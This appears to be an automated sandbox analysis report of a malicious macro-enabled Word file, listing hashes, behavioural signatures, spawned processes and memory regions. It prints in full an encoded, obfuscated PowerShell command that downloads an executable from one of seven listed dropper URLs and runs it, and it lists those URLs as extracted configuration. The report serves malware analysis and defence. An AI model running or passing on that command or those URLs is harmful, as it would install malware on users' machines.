Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    23-05-2024 05:22

General

  • Target

    69dd6e2ac3ac50b2383f138fc4da3b41_JaffaCakes118.doc

  • Size

    175KB

  • MD5

    69dd6e2ac3ac50b2383f138fc4da3b41

  • SHA1

    2271fc24f265c2b91480cde99afe78ebc8355963

  • SHA256

    8e53c80df5380a098783ffbee94ed572d63fecf8753904f25a12075657f1d4de

  • SHA512

    38d9a30724fba3ec1cc33f6417714a6ea591f74b31301aa3e1cd03fac34bfb1fe91c19f4e751c464e2f427042a5eb598f2533fdf2c33f3efa0332058ef728040

  • SSDEEP

    1536:trdi1Ir77zOH98Wj2gpngx+a9+GmLtHv5:trfrzOH98ipgoFv5

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://haikouweixun.com/jn5/Rbp/

exe.dropper

http://carolinacanullo.com/js/hllPT/

exe.dropper

http://megasolucoesti.com/R9KDq0O8w/B3KqPpe/

exe.dropper

http://www.insulution.org/wp-admin/swift/swift/y318LGM/

exe.dropper

http://petafilm.com/calendar/6kOpwrt/

exe.dropper

https://dev.contractdevs.co.uk/hbbny/Kv9/

exe.dropper

http://blog.penmman.com/wp-content/uploads/1ECbn9K/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\69dd6e2ac3ac50b2383f138fc4da3b41_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1712
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2388
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -encod JABOAGwAcAA3AGoAegBqAD0AKAAnAFUAegAnACsAKAAnAGwAaQAnACsAJwBwADYAYQAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAVQBTAGUAcgBQAFIATwBmAGkAbABFAFwAWgAxAGgARgAxADMAQwBcAGoAUQA4AE0AXwA0ADUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBjAHQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAGAAQwB1AGAAUgBpAHQAWQBQAFIAbwBUAG8AYwBgAE8AbAAiACAAPQAgACgAKAAnAHQAbABzADEAJwArACcAMgAnACkAKwAoACcALAAgAHQAJwArACcAbABzACcAKwAnADEAMQAnACkAKwAoACcALAAgAHQAJwArACcAbAAnACkAKwAnAHMAJwApADsAJABLADcAcAA3ADIAcAB6ACAAPQAgACgAJwBSACcAKwAnAHUAJwArACgAJwA2AG8AagByADEAaQAnACsAJwByACcAKQApADsAJABCAGQAbABqAHEAdwBiAD0AKAAoACcASgBwACcAKwAnAF8AJwApACsAKAAnADQAJwArACcAdQBrAHIAJwApACkAOwAkAFoAdABtAHEAdQBpAHcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAUwBvACcAKwAnADUAJwArACgAJwBaACcAKwAnADEAaABmADEAJwArACcAMwAnACsAJwBjAFMAbwA1ACcAKwAnAEoAcQAnACsAJwA4AG0AXwA0ADUAUwAnACkAKwAnAG8ANQAnACkALgAiAHIAYABlAHAAbABgAEEAQwBlACIAKAAoACcAUwAnACsAJwBvADUAJwApACwAWwBzAHQAcgBJAE4ARwBdAFsAQwBIAGEAUgBdADkAMgApACkAKwAkAEsANwBwADcAMgBwAHoAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABKAGEAcgA1AGcAdABwAD0AKAAoACcAUgBwADkAJwArACcAcQAyACcAKwAnAGMAJwApACsAJwB3ACcAKQA7ACQATABmADMAcABwAHcAZgA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAFQALgBXAGUAYgBDAEwASQBlAE4AVAA7ACQASwBvAGUAMQBlADUAMgA9ACgAKAAnAGgAdAB0AHAAJwArACcAcwA6ACcAKQArACgAJwAvAC8AaAAnACsAJwBhACcAKwAnAGkAawBvAHUAJwApACsAKAAnAHcAZQBpAHgAJwArACcAdQAnACkAKwAoACcAbgAnACsAJwAuAGMAJwArACcAbwBtAC8AagAnACkAKwAoACcAbgAnACsAJwA1AC8AJwApACsAJwBSACcAKwAoACcAYgBwACcAKwAnAC8AJwApACsAKAAnACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvAC8AYwBhAHIAJwArACcAbwBsAGkAJwApACsAJwBuACcAKwAoACcAYQBjACcAKwAnAGEAJwArACcAbgB1AGwAJwApACsAKAAnAGwAbwAnACsAJwAuACcAKQArACgAJwBjAG8AbQAnACsAJwAvAGoAJwArACcAcwAvAGgAJwArACcAbABsAFAAJwArACcAVAAvACoAaAB0ACcAKQArACcAdAAnACsAKAAnAHAAOgAnACsAJwAvAC8AbQAnACkAKwAnAGUAJwArACcAZwAnACsAKAAnAGEAJwArACcAcwBvACcAKwAnAGwAdQBjAG8AZQBzACcAKQArACcAdAAnACsAKAAnAGkALgBjAG8AbQAvAFIAJwArACcAOQBLACcAKQArACgAJwBEAHEAMABPADgAdwAnACsAJwAvAEIAJwArACcAMwAnACkAKwAoACcASwAnACsAJwBxAFAAcABlAC8AKgAnACkAKwAnAGgAJwArACgAJwB0AHQAcAAnACsAJwA6ACcAKQArACgAJwAvAC8AJwArACcAdwAnACkAKwAoACcAdwAnACsAJwB3AC4AJwApACsAKAAnAGkAJwArACcAbgBzAHUAbAAnACkAKwAnAHUAJwArACcAdABpACcAKwAoACcAbwAnACsAJwBuAC4AbwByAGcAJwApACsAJwAvAHcAJwArACcAcAAtACcAKwAnAGEAJwArACgAJwBkAG0AJwArACcAaQAnACkAKwAnAG4AJwArACcALwBzACcAKwAoACcAdwAnACsAJwBpAGYAJwApACsAKAAnAHQALwAnACsAJwBzAHcAaQBmAHQAJwApACsAJwAvACcAKwAoACcAeQAzADEAJwArACcAOABMACcAKQArACgAJwBHACcAKwAnAE0ALwAqAGgAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHAAZQB0ACcAKwAnAGEAJwApACsAJwBmACcAKwAoACcAaQAnACsAJwBsAG0ALgAnACkAKwAnAGMAJwArACgAJwBvAG0ALwBjAGEAbABlAG4AZABhACcAKwAnAHIALwAnACsAJwA2ACcAKQArACcAawAnACsAKAAnAE8AcAB3AHIAdAAvACcAKwAnACoAJwArACcAaAAnACkAKwAnAHQAJwArACgAJwB0ACcAKwAnAHAAJwArACcAcwA6AC8ALwAnACkAKwAnAGQAJwArACcAZQAnACsAKAAnAHYALgBjAG8AbgB0AHIAJwArACcAYQBjAHQAZAAnACsAJwBlAHYAcwAuACcAKwAnAGMAbwAnACkAKwAnAC4AdQAnACsAKAAnAGsALwAnACsAJwBoACcAKQArACcAYgAnACsAKAAnAGIAbgB5AC8AJwArACcASwAnACsAJwB2ADkALwAnACsAJwAqACcAKQArACgAJwBoAHQAJwArACcAdABwACcAKQArACgAJwA6AC8ALwAnACsAJwBiAGwAJwApACsAJwBvACcAKwAnAGcALgAnACsAKAAnAHAAJwArACcAZQBuAG0AbQAnACsAJwBhAG4ALgBjAG8AJwArACcAbQAnACkAKwAoACcALwB3AHAALQBjACcAKwAnAG8AJwArACcAbgB0ACcAKQArACcAZQAnACsAKAAnAG4AdAAvACcAKwAnAHUAJwApACsAKAAnAHAAJwArACcAbABvACcAKQArACgAJwBhAGQAcwAvADEARQBDACcAKwAnAGIAbgA5ACcAKwAnAEsAJwApACsAJwAvACcAKQAuACIAcwBQAGAAbABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABLAHMAdwBmADUAcwBqAD0AKAAoACcARgBfAHMAdwAnACsAJwA1ACcAKQArACcANwBhACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEYAbgBvADUAZQBxAHcAIABpAG4AIAAkAEsAbwBlADEAZQA1ADIAKQB7AHQAcgB5AHsAJABMAGYAMwBwAHAAdwBmAC4AIgBEAG8AYAB3AG4ATABgAG8AYQBEAGYAaQBgAEwAZQAiACgAJABGAG4AbwA1AGUAcQB3ACwAIAAkAFoAdABtAHEAdQBpAHcAKQA7ACQAWABnAGQAegAyAHgAdgA9ACgAKAAnAFIAaAB2AGEAJwArACcAegB3ACcAKQArACcAegAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAWgB0AG0AcQB1AGkAdwApAC4AIgBsAGUAbgBgAGcAdABIACIAIAAtAGcAZQAgADIANQA4ADgAMAApACAAewAuACgAJwBJAG4AJwArACcAdgBvAGsAJwArACcAZQAtAEkAdAAnACsAJwBlAG0AJwApACgAJABaAHQAbQBxAHUAaQB3ACkAOwAkAFUAbwBjAHkAbABpADYAPQAoACcAVQB4ACcAKwAoACcAaABhADUAJwArACcAawA1ACcAKQApADsAYgByAGUAYQBrADsAJABKAHQAdgAwADgAcQAzAD0AKAAnAEIAJwArACgAJwByAHcAJwArACcAOQBpAGEAdgAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgAzAGIAcwA5ADkAdwA9ACgAJwBHADkAJwArACcAMABhACcAKwAoACcAbwB0ACcAKwAnADUAJwApACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2712

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      54469667cfa26120286c539d7b099960

      SHA1

      105a5de00089f8421c6d634112dfeeb20edcc3be

      SHA256

      726365d6e8d796f9e5b51b34ac80c1821c190e507d54c7bc5607fe833192fb4f

      SHA512

      543511be7259bc8ac3ec647ea9c14bd09896f7d9560ecf0c06caffb29422cb08fe5d5c06f146ceb1586b20d4c84351ca96b72ad3b92748a8efd29d86be675eb8

    • memory/1712-19-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-67-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1712-6-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-7-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-9-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-10-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-11-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-8-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-18-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-17-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-16-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-14-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-15-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-13-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-22-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-21-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-20-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-0-0x000000002F121000-0x000000002F122000-memory.dmp

      Filesize

      4KB

    • memory/1712-12-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-2-0x000000007155D000-0x0000000071568000-memory.dmp

      Filesize

      44KB

    • memory/1712-28-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-26-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-24-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-23-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-30-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-27-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-32-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-29-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-31-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-33-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-68-0x000000007155D000-0x0000000071568000-memory.dmp

      Filesize

      44KB

    • memory/1712-25-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-45-0x000000007155D000-0x0000000071568000-memory.dmp

      Filesize

      44KB

    • memory/1712-46-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-48-0x0000000000640000-0x0000000000740000-memory.dmp

      Filesize

      1024KB

    • memory/1712-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2712-39-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

      Filesize

      2.9MB

    • memory/2712-40-0x0000000001F70000-0x0000000001F78000-memory.dmp

      Filesize

      32KB